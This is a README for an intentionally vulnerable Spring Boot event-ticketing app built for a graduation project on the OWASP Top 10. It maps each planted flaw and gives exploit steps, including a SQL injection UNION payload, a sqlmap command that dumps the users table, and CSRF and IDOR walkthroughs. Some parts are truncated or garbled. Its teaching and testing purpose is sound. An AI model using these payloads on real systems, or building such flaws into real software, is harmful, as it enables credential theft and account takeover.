EcaterinaCucicovscaia/events-vuln
GitHub: EcaterinaCucicovscaia/events-vuln
一个故意植入 OWASP Top 10:2025 漏洞的 Spring Boot 活动售票教学应用,配合安全版本用于毕业设计的前后对比实验。
Stars: 0 | Forks: 0
# 🎟️ Events — 教学**漏洞**版本
### `events-vuln` — 专为演示 OWASP Top 10:2025 而设计的脆弱 Web 应用程序
[](https://openjdk.org/projects/jdk/21/)
[](https://spring.io/projects/spring-boot)
[](https://www.thymeleaf.org/)
[](https://h2database.com/)
[](https://maven.apache.org/)
[](LICENSE)
[]()
[]()
**用于毕业设计的教学 Web 应用程序** — Ecaterina Cucicovscaia · USM, FMI, IAFR2202 班。
一个用于发布活动和售票的平台,其中**故意实现了安全缺陷**,用于复现 OWASP Top 10:2025 和 CWE Top 25 (2025) 中的漏洞。
[🛡️ 安全版本 → `events-secure`](https://github.com/EcaterinaCucicovscaia/events-secure)
## 📚 目录
- [目的](#-назначение)
- [技术栈](#-стек)
- [快速启动](#-быстрый-запуск)
- [测试用户](#-тестовые-пользователи)
- [漏洞映射表](#-карта-уязвимостей)
- [漏洞利用场景](#-сценарии-эксплуатации)
- [1. 搜索中的 SQL 注入](#1-sql-инъекция-в-поиске-мероприятий)
- [2. Stored XSS](#2-stored-xss-в-описании-мероприятия)
- [3. 修改密码时的 CSRF](#3-csrf-на-смене-пароля)
- [4. 订单 REST endpoint 中的 IDOR](#4-idor-в-rest-эндпоинте-заказов)
- [5. 脆弱的身份验证和会话](#5-слабая-аутентификация-и-сессии)
- [6. 暴露的 Actuator 和 H2 控制台](#6-open-actuator--open-h2-console)
- [7. commons-text 1.9 漏洞依赖](#7-уязвимая-зависимость-commons-text-19)
- [项目结构](#-структура-проекта)
- [安全版本中修复的内容](#-что-устранено-в-защищённой-версии)
- [作者与背景](#-автор-и-контекст)
- [许可证](#-лицензия)
## 🎯 目的
`events-vuln` 是构成毕业设计实践部分的“前后对比”实验的**前半部分**。
此仓库中的每个漏洞都在 [`events-secure`](https://github.com/EcaterinaCucicovscaia/events-secure) 中有一个“镜像”——解决了相关问题,并解释了是哪种机制修复了它。
项目目标:
- 🔍 在真实的 Spring 应用程序中展示 **OWASP Top 10:2025 的七个类别**,而不是使用人为构造的示例;
- 🧪 为静态(SpotBugs + Find-Sec-Bugs)和动态(OWASP ZAP, sqlmap)分析提供**可复现的漏洞利用场景**;
- 📊 收集**基准测量值**,以便在论文第三章中与安全版本进行比较。
## 🧰 技术栈
| 组件 | 版本 | 作用 |
|---|---|---|
| Java | **21** | 平台 |
| Spring Boot | **3.3.5** | Web 框架 |
| Spring MVC + Thymeleaf | — | 服务端渲染 |
| Spring Data JPA + Hibernate | 6.x | ORM |
| H2 (基于文件) | — | 内嵌数据库 (`./data/events`) |
| Maven | 3.9+ | 构建 |
| SpotBugs + Find-Sec-Bugs | 4.8 / 1.13 | SAST 分析 |
## 🚀 快速启动
```
git clone https://github.com/EcaterinaCucicovscaia/events-vuln.git
cd events-vuln
mvn -DskipTests package
java -jar target/events-vuln-0.1.0-SNAPSHOT.jar
```
应用程序将在 **`http://localhost:8090`** 上启动。
H2 数据库文件为 `./data/events.mv.db`。删除它即可使用初始数据重新创建数据库。
## 👤 测试用户
| 用户名 | 密码 | 角色 |
|:---|:---|:---|
| `alice` | `alice123` | USER |
| `bob` | `bob123` | USER |
| `organizer` | `org123` | ORGANIZER |
| `admin` | `admin` | ADMIN |
用户在首次启动时自动创建(参见 `DataSeeder`)。
## 🗺️ 漏洞映射表
| # | OWASP Top 10:2025 | CWE | 所在位置 |
|:--:|:---|:---|:---|
| 1 | **A05** Injection (SQL) | CWE-89 | `EventService#searchVulnerable` — 搜索 `/events?q=` |
| 2 | **A05** Injection (XSS, stored) | CWE-79 | `events/view.html` — `th:utext="${event.description}"` |
| 3 | **A01** Broken Access Control / CSRF | CWE-352 | `ProfileController#changePassword` — 无 CSRF token |
| 4 | **A01** Broken Access Control / IDOR | CWE-639 | `OrderRestController#get` — 无所有者校验 |
| 5 | **A07** Identification & Auth Failures | CWE-916, CWE-307, CWE-384 | `PasswordHasher` (无盐 MD5), `AuthService#login` (无 rate-limit, 无会话重生成) |
| 6 | **A02** Security Misconfiguration | CWE-200 | `application.yml` — `/actuator/**` 公开暴露, `/h2-console` 可访问, cookie 无 `HttpOnly`/`Secure`/`SameSite` |
| 7 | **A03** Software Supply Chain Failures | CVE-2022-42889 | `pom.xml` — `commons-text:1.9` (Text4Shell) |
## 💣 漏洞利用场景
### 1) 活动搜索中的 SQL 注入
使用特殊值打开 `/events?q=`:
```
'%20UNION%20SELECT%20id,%20username,%20password_hash,%20'XXX',%20'2030-01-01%2000:00:00',%200,%200,%200,%20'PUBLISHED'%20FROM%20users--
```
搜索结果将显示用户名和密码的 MD5 hash(取代活动名称和描述)。
通过 **sqlmap** 实现自动化:
```
sqlmap -u "http://localhost:8090/events?q=test" -p q --dbms=h2 --dump -T users
```
### 2) 活动描述中的 Stored XSS
1. 以 `organizer` / `org123` 登录。
2. 打开 `/events/new` 并在描述字段中输入:
3. 打开创建的活动 — 脚本将在每个访问该页面的用户浏览器中执行。
### 3) 修改密码时的 CSRF
在一个新的空文件夹中创建文件 `attacker.html`:
```
Хорошая статья про коды Spring Security
``` 在您已经以 `alice` 登录的浏览器中打开此文件。密码将被静默更改为 `hacked123`。为了确认,请尝试使用旧密码和新密码重新登录。 ### 4) 订单 REST endpoint 中的 IDOR 1. 以 `alice` 登录。购买活动门票 — 获取您的 order_id,例如 `1`。 2. 在另一个窗口中以 `bob` 登录。通过 Postman 或 curl 等工具请求他人的订单: curl -b "JSESSIONID=标签:CISA项目, HTTP工具, OPA, OWASP Top 10, Spring Boot, Web安全, 域名枚举, 漏洞演示, 蓝队分析, 靶场